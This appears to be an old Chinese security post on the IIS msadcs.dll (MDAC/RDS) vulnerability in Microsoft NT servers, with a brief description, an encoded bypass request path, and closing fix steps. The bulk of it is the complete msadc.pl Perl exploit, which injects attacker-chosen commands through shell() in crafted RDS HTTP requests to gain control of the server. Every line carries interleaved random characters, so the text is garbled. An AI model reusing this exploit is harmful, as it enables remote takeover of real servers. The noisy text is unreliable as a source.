IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
lJT"aXt'M )%lPKp4] 涉及程序:
K%Bz6 ~ Microsoft NT server
V\l@_%D[(v `82Dm!V 描述:
Wu8^Z Z{ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
<z>oY2% $q.}eb0 详细:
QBN\wL8g 如果你没有时间读详细内容的话,就删除:
a(ml#-M c:\Program Files\Common Files\System\Msadc\msadcs.dll
pUW7p 有关的安全问题就没有了。
;BKU
_}k= (Q8r2*L 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
cL~YQJYp ^6LnB#C& 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
.*.eY?,V 关于利用ODBC远程漏洞的描述,请参看:
j0(jXAc;UB J(wFJg\/ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm m
-hZ5i k]`-Y E 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
M.:JT31>1 http://www.microsoft.com/security/bulletins/MS99-025faq.asp =);@<Jp j['B9vG 这里不再论述。
Z_Y'#5o# ~l*<LXp8 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
x($Djx uU^iY$w /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
g#cet{> 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
evNe6J3 g-]~+7LL LhM$!o?W #将下面这段保存为txt文件,然后: "perl -x 文件名"
(mKH,r *;~u 5y2b #!perl
;-;lM6zP #
gU NWM^n # MSADC/RDS 'usage' (aka exploit) script
P|]r*1^5 #
BBv+*jj # by rain.forest.puppy
"^a"`?J #
~!cxRd5;F # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
V
w58w`e # beta test and find errors!
8F@Sy,D qPN9Put use Socket; use Getopt::Std;
)feZ&G] getopts("e:vd:h:XR", \%args);
PL3hrI 5 Kpa$1x print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
D!.1R!(Z w*;"@2y;eY if (!defined $args{h} && !defined $args{R}) {
U%[ye0@: print qq~
lBAu@M
Usage: msadc.pl -h <host> { -d <delay> -X -v }
nAAv42j[ -h <host> = host you want to scan (ip or domain)
e?*Teb?R -d <seconds> = delay between calls, default 1 second
*
1xs/$` -X = dump Index Server path table, if available
a(ITv roM/ -v = verbose
V*@Y9G -e = external dictionary file for step 5
B&0W P5OF %~gI+0HK Or a -R will resume a command session
X)+6>\ r\Kcg~D> ~; exit;}
=6"5kz10 {<Gp5j $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
I0z 7bx if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
`|nCnT' if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
V/kndV[j if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
oD1k7Gq1 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Xc}XRKiy{ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
1?1Bz?EKF* 8N?D1;F; if (!defined $args{R}){ $ret = &has_msadc;
o)^Wz die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
pRL:,q\ ( }Bb=~ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
GQ>0E . "cmd /c ";
2Q5 @2jT $in=<STDIN>; chomp $in;
Hbd>sS $command="cmd /c " . $in ;
z ynu0X AX<f$%iqD if (defined $args{R}) {&load; exit;}
Y0A(-" +@?'dw print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
uLWu. Vx &try_btcustmr;
hpPacN y$SUYG'v print "\nStep 2: Trying to make our own DSN...";
|5O>7~Tp &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
o ]z#~^w }u=Oi@~ print "\nStep 3: Trying known DSNs...";
nPqpat`E &known_dsn;
.9PT)^2 ) ba~7A print "\nStep 4: Trying known .mdbs...";
lv'WRS'} &known_mdb;
g$?^bu dxv 0doJF@H if (defined $args{e}){
$sE=[j'v print "\nStep 5: Trying dictionary of DSN names...";
oW6Hufu+o &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
t"q'"FX vc&+qI+I3 print "Sorry Charley...maybe next time?\n";
?_Z-}f exit;
J'$NBws 'xGhMgR; ##############################################################################
"wTCO1 o5NmNOXm sub sendraw { # ripped and modded from whisker
:Ev
gUA\4 sleep($delay); # it's a DoS on the server! At least on mine...
hpb|| V my ($pstr)=@_;
J ~3m7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
t^FE]$, die("Socket problems\n");
fx[&"$X if(connect(S,pack "SnA4x8",2,80,$target)){
FpA t select(S); $|=1;
Ui`{U print $pstr; my @in=<S>;
-OlrA{=c_ select(STDOUT); close(S);
10*Tk 8 return @in;
vk48&8 } else { die("Can't connect...\n"); }}
Opc szq5n TnK<Wba ##############################################################################
%HoD)OJe &{a!)I> sub make_header { # make the HTTP request
6AG]7d< my $msadc=<<EOT
UGy3B) POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
to</ User-Agent: ACTIVEDATA
,.>9$( s Host: $ip
C9sU^]#F Content-Length: $clen
Vb\g49\o/ Connection: Keep-Alive
2a
eH^:u /}8Au$nA ADCClientVersion:01.06
:VZS7$5 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
d$3md<lIB >{tn2Fkg> --!ADM!ROX!YOUR!WORLD!
cOX )+53 Content-Type: application/x-varg
wTU$jd1;+ Content-Length: $reqlen
sIgTSdk ]B=*p0~j^n EOT
T:X* ; $msadc=~s/\n/\r\n/g;
u@ #%SX return $msadc;}
aq}hlA(w d4;$=P ##############################################################################
PR:B6 F8 A+* lV*@0 sub make_req { # make the RDS request
Mh-"B([Z my ($switch, $p1, $p2)=@_;
8xgBNQdPT my $req=""; my $t1, $t2, $query, $dsn;
jc
Mn o?>0WSLlm if ($switch==1){ # this is the btcustmr.mdb query
]$r]GVeN}H $query="Select * from Customers where City=" . make_shell();
#xGP|:m $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
j;]I
-M[ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
!~~KM?g 6dr'nP elsif ($switch==2){ # this is general make table query
\EVT*v=}/ $query="create table AZZ (B int, C varchar(10))";
Y$v #>w_M $dsn="$p1";}
jeRE(3'Q p7;K] AW elsif ($switch==3){ # this is general exploit table query
@gK`RmhGE5 $query="select * from AZZ where C=" . make_shell();
@M4c/k} $dsn="$p1";}
K}re{y |kPgXq6 elsif ($switch==4){ # attempt to hork file info from index server
|7c],SHm $query="select path from scope()";
-(:T&rfTp $dsn="Provider=MSIDXS;";}
z@~H{glo A&t8C8, elsif ($switch==5){ # bad query
`+n#CWZ"Y $query="select";
Yu_*P-Ja6 $dsn="$p1";}
<1*.:CL"s \#:
W $t1= make_unicode($query);
*eIX"&ba $t2= make_unicode($dsn);
8p%0d`sX $req = "\x02\x00\x03\x00";
SQ4^sk_! $req.= "\x08\x00" . pack ("S1", length($t1));
z:f&k}( $req.= "\x00\x00" . $t1 ;
g]?pY $req.= "\x08\x00" . pack ("S1", length($t2));
zl:by? $req.= "\x00\x00" . $t2 ;
hHJvLs>^ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
k4LrUd return $req;}
Rh^@1{yr -J+1V{ ##############################################################################
~iH a^i?2* :a;F3NJ sub make_shell { # this makes the shell() statement
it\$Pih] return "'|shell(\"$command\")|'";}
O~V^] IdAh)#)
7 ##############################################################################
yO%^[c? ?m]vk|> sub make_unicode { # quick little function to convert to unicode
JT0j2_*Rr my ($in)=@_; my $out;
$J4\jIipL for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
7gf(5p5ZV return $out;}
'fU #v`i GuR^L@+ -. ##############################################################################
U?Jk {TNORbZz sub rdo_success { # checks for RDO return success (this is kludge)
U,i_}O3Q my (@in) = @_; my $base=content_start(@in);
(yP1}? if($in[$base]=~/multipart\/mixed/){
d9v66mpJM return 1 if( $in[$base+10]=~/^\x09\x00/ );}
kiM:(=5 return 0;}
LP#wE~K"b YXWDbr:JX ##############################################################################
U|Fqna v3Vve:}+ sub make_dsn { # this makes a DSN for us
3xs<w7 my @drives=("c","d","e","f");
}jCO@v; print "\nMaking DSN: ";
i;^lh]u foreach $drive (@drives) {
Gb`)d print "$drive: ";
\KhcNr?ja= my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
(_e[CqFu "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Y
bJg{Sb . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
CjpGo}a/ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
#G]IEO$M6 return 0 if $2 eq "404"; # not found/doesn't exist
GbQi3% if($2 eq "200") {
#9|&;C5',! foreach $line (@results) {
p"%D/-%Gu return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
qBBCnT } return 0;}
0QZT<Zs pmB
{b ##############################################################################
aO<7a
6 hc
q&`Gun sub verify_exists {
%oa@2qJ^ my ($page)=@_;
GO"|^W my @results=sendraw("GET $page HTTP/1.0\n\n");
no<$=(11i return $results[0];}
NRtH?&7 r=n{3o+ ##############################################################################
17KQ 7o+L sub try_btcustmr {
3XQa%|N( my @drives=("c","d","e","f");
b
VEJ my @dirs=("winnt","winnt35","winnt351","win","windows");
%RV81H9B >b2!&dm foreach $dir (@dirs) {
e1W9"&4>G{ print "$dir -> "; # fun status so you can see progress
6a,8t foreach $drive (@drives) {
n%F _3` print "$drive: "; # ditto
B.G6vx4yp $reqlen=length( make_req(1,$drive,$dir) ) - 28;
L&kCI`Tb $reqlenlen=length( "$reqlen" );
D^@@ P $clen= 206 + $reqlenlen + $reqlen;
D{B?2}X O
ixqou my @results=sendraw(make_header() . make_req(1,$drive,$dir));
{4 Yxh8 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Bz } nP9 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
%9>w|%+;U+ $t%IJT ##############################################################################
M5WB.L[@q F&wAre< sub odbc_error {
mh}D[K=~% my (@in)=@_; my $base;
LH4#p%Pb% my $base = content_start(@in);
0C :8X
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
=|i_T%a $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j ^j"w(a $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ly`
A,dh $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{V>F69IU return $in[$base+4].$in[$base+5].$in[$base+6];}
|-V:#1wR.] print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
&233QRYM print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
M6p\QKi $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
L@H^?1*L? jaEe$2F2 ##############################################################################
bI
;I<Qa MBt\"b#t sub verbose {
&'fER- my ($in)=@_;
pSlc (M> return if !$verbose;
Y_[7q<L print STDOUT "\n$in\n";}
ExtC\(X; P0}B&B/a: ##############################################################################
Fqw4XR_`~ E\/[hT sub save {
#[jS&rr( my ($p1, $p2, $p3, $p4)=@_;
rB".!b open(OUT, ">rds.save") || print "Problem saving parameters...\n";
1+*sEIC " print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
L-`V^{R] close OUT;}
lW|=rq-| x,mt}> ##############################################################################
-6DRX `$> Y sub load {
cS%dTrfo my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
<?B3^z$ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
hdw.S`~}% @p=<IN>; close(IN);
#l}Fk)dj $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
ljK?2z> $target= inet_aton($ip) || die("inet_aton problems");
k( 0; >)<i print "Resuming to $ip ...";
B{Vc-qJ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
5 I_ :7$8 if($p[1]==1) {
7k* $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
kZG=C6a $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
KE,.Evyu= my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
/o4e
n if (rdo_success(@results)){print "Success!\n";}
7~P2q/2E> else { print "failed\n"; verbose(odbc_error(@results));}}
(NFrZ0 elsif ($p[1]==3){
Chnt)N`/B4 if(run_query("$p[3]")){
@LOfqQ$FE print "Success!\n";} else { print "failed\n"; }}
/lECgu*#69 elsif ($p[1]==4){
&fB=&jc*j if(run_query($drvst . "$p[3]")){
]|!|3lQ print "Success!\n"; } else { print "failed\n"; }}
}iKjef#J exit;}
mBwz.KEm< 8D)1ZUx7` ##############################################################################
2Jt{oh | By@65KmR" sub create_table {
3=n6NTL my ($in)=@_;
V$hL\`e $reqlen=length( make_req(2,$in,"") ) - 28;
iHNQxLkk{: $reqlenlen=length( "$reqlen" );
cVx SO`jZw $clen= 206 + $reqlenlen + $reqlen;
Ac U@H0 my @results=sendraw(make_header() . make_req(2,$in,""));
AwG0E`SU return 1 if rdo_success(@results);
)dfhy my $temp= odbc_error(@results); verbose($temp);
]^"Lc~w8& return 1 if $temp=~/Table 'AZZ' already exists/;
}Ecv6&G return 0;}
K*5gb^Ul f@;pN=PS ##############################################################################
g "Du]_, uEb:uENk'( sub known_dsn {
VLm\P S
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go
yJ!26 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
&UH0Tw4 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
/(8"]f/ "banner", "banners", "ads", "ADCDemo", "ADCTest");
8WV5'cX 2?7ID~\ foreach $dSn (@dsns) {
G AY?F print ".";
9BZ B1oX next if (!is_access("DSN=$dSn"));
}i^M<A O if(create_table("DSN=$dSn")){
*~P| ? D' print "$dSn successful\n";
~OX\R"aZBW if(run_query("DSN=$dSn")){
!k%
PP print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
o}r_+\n print "Something's borked. Use verbose next time\n";}}} print "\n";}
!IR
cv
a ?n{m2.H ##############################################################################
+/celp WwsNAJ sub is_access {
1f+A_k/@ my ($in)=@_;
,X3D<wl $reqlen=length( make_req(5,$in,"") ) - 28;
e^N~)Nlj $reqlenlen=length( "$reqlen" );
#"-_ ~ $clen= 206 + $reqlenlen + $reqlen;
v CsE|eMP my @results=sendraw(make_header() . make_req(5,$in,""));
JfkEJk< my $temp= odbc_error(@results);
~9o@1TO:v verbose($temp); return 1 if ($temp=~/Microsoft Access/);
_5S0A0 return 0;}
i45.2, \\ItN ##############################################################################
ahgP"Qz <k8WnA ~Fl sub run_query {
T+T)~!{% my ($in)=@_;
F1BvDplQ>G $reqlen=length( make_req(3,$in,"") ) - 28;
]d(Z% $reqlenlen=length( "$reqlen" );
Vq0X:<9 $clen= 206 + $reqlenlen + $reqlen;
F_:Wu,dUZ my @results=sendraw(make_header() . make_req(3,$in,""));
cr -5t4<jK return 1 if rdo_success(@results);
=XQGg`8<LB my $temp= odbc_error(@results); verbose($temp);
j_,/U^Ws|f return 0;}
E8av/O
VUd =_=%1rI~ ##############################################################################
!EKt$8W B~}BDnu 6 sub known_mdb {
l4T[x|')M my @drives=("c","d","e","f","g");
`#iL'ND[ my @dirs=("winnt","winnt35","winnt351","win","windows");
`=pA;R9 my $dir, $drive, $mdb;
Ju#j%! my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
lS Y " HgW!Q(* # this is sparse, because I don't know of many
GmNCw5F my @sysmdbs=( "\\catroot\\icatalog.mdb",
e~gNGr]L/ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
^`#7(S)a/ "\\system32\\certmdb.mdb",
Y.I~.66s "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
rr,A Vw }ACg#;>/+ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
L44|/~ "\\cfusion\\cfapps\\forums\\forums_.mdb",
~6t<`&f "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
7l-MVn_8 "\\cfusion\\cfapps\\security\\realm_.mdb",
=U~53Tg "\\cfusion\\cfapps\\security\\data\\realm.mdb",
hwUb(pZ "\\cfusion\\database\\cfexamples.mdb",
$W}:,]hoj "\\cfusion\\database\\cfsnippets.mdb",
0 ;LF>+fJ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
"uuM#@h "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
U*{0, Ue' "\\cfusion\\brighttiger\\database\\cleam.mdb",
*VXx\& "\\cfusion\\database\\smpolicy.mdb",
Pi1LOCq "\\cfusion\\database\cypress.mdb",
G)YmaHeI;[ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
- s'W^( "\\website\\cgi-win\\dbsample.mdb",
Q'jGNWep "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
eXsp0!v "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
~rI2 RJ ); #these are just
6wpu[ foreach $drive (@drives) {
fk15O_#3 foreach $dir (@dirs){
P%&|?e~D^ foreach $mdb (@sysmdbs) {
9[\do@ print ".";
:I"22EH if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
TT9
\m=7 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
aC' 6 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
QsKnaRT print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
{~]5QKg. } else { print "Something's borked. Use verbose next time\n"; }}}}}
l#C<bDw 1F>8#+B/W foreach $drive (@drives) {
jQ7;-9/~N foreach $mdb (@mdbs) {
e~*tQ4 print ".";
n&&C(#mBC if(create_table($drv . $drive . $dir . $mdb)){
;=@O.iF;H print "\n" . $drive . $dir . $mdb . " successful\n";
Jm)7!W%3 if(run_query($drv . $drive . $dir . $mdb)){
vK/`or3U print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
5h Sd,#: } else { print "Something's borked. Use verbose next time\n"; }}}}
#s(ob `0| }
bZUw^{~)D OR+_s @Yg ##############################################################################
&b,A-1`w_ QsPg4y3?D sub hork_idx {
\s)$[pAF print "\nAttempting to dump Index Server tables...\n";
r2tE!gMC print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
j0oto6z~b $reqlen=length( make_req(4,"","") ) - 28;
8[,R4@ $reqlenlen=length( "$reqlen" );
vv)O+xt $clen= 206 + $reqlenlen + $reqlen;
}vx
4 6 my @results=sendraw2(make_header() . make_req(4,"",""));
q;QasAQS`p if (rdo_success(@results)){
#F3'<(j my $max=@results; my $c; my %d;
<i]-.>&J for($c=19; $c<$max; $c++){
s^6,"C $results[$c]=~s/\x00//g;
2N |iOog $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
,>qtnwvlHP $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
+8"8s $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
tU Je-3, $d{"$1$2"}="";}
e]>=;Zn foreach $c (keys %d){ print "$c\n"; }
Ui"$A/ } else {print "Index server doesn't seem to be installed.\n"; }}
_IEbRVpb ~x4]p|)</ ##############################################################################
^^
SMr l [oBRH]9cq
sub dsn_dict {
Ivcy=W=Jk open(IN, "<$args{e}") || die("Can't open external dictionary\n");
hN0h'JJ[7 while(<IN>){
T
;84Sv $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
"+ {2! next if (!is_access("DSN=$dSn"));
?HOnDw.v1 if(create_table("DSN=$dSn")){
U7/
=|Z print "$dSn successful\n";
SR.xI:}4 if(run_query("DSN=$dSn")){
G3!O@j!7w$ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
K5bR7f: print "Something's borked. Use verbose next time\n";}}}
[giw(4m#y print "\n"; close(IN);}
"WmsBdO oPBKPGD ##############################################################################
=B+dhZ+#S$ Z= -fL sub sendraw2 { # ripped and modded from whisker
p|qLr9\A sleep($delay); # it's a DoS on the server! At least on mine...
OU/3U(%n]e my ($pstr)=@_;
]X7_ji(l, socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
.i?{h/9y die("Socket problems\n");
B
k\KG if(connect(S,pack "SnA4x8",2,80,$target)){
KCbOO8cQS print "Connected. Getting data";
('uUf!h?\ open(OUT,">raw.out"); my @in;
`tT7&*Os select(S); $|=1; print $pstr;
l{?9R.L while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
|'o<w
]hc close(OUT); select(STDOUT); close(S); return @in;
o[JZ>nm } else { die("Can't connect...\n"); }}
O1X) *j <#5=l ##############################################################################
U+ Yu_=o{ 6
3PV R" sub content_start { # this will take in the server headers
;InMgo, my (@in)=@_; my $c;
FB,rQ9D for ($c=1;$c<500;$c++) {
s/>0gu]A8 if($in[$c] =~/^\x0d\x0a/){
./DlHS; if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
A=ez,87 else { return $c+1; }}}
D>U(&n return -1;} # it should never get here actually
mo4F\$2N Y>E` 7n ##############################################################################
zcOm"-E- ^I6Vz?0Jl sub funky {
c9nv=?/}f my (@in)=@_; my $error=odbc_error(@in);
)FA:wsy~E if($error=~/ADO could not find the specified provider/){
9P#kV@%(0c print "\nServer returned an ADO miscofiguration message\nAborting.\n";
m4~~ q[t exit;}
R;U4a2~ if($error=~/A Handler is required/){
2Z"\%ZD print "\nServer has custom handler filters (they most likely are patched)\n";
F!?f|z,/ exit;}
@3b @]l5 if($error=~/specified Handler has denied Access/){
%/nDG9l print "\nServer has custom handler filters (they most likely are patched)\n";
K'E)?NW69 exit;}}
v3n
T@ra' KL(sVj^e ##############################################################################
>x~Qa@s; 0&kmP ' sub has_msadc {
/{[tU-}qJ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
RMs8aZCa my $base=content_start(@results);
KdTWi;mV2- return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
l]R7A_| return 0;}
8U]mr+ 6>&(OV ########################
bq5we*"V +>Y]1IlI #4nBov3d 解决方案:
g38MF 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
7;6'=0( 2、移除web 目录: /msadc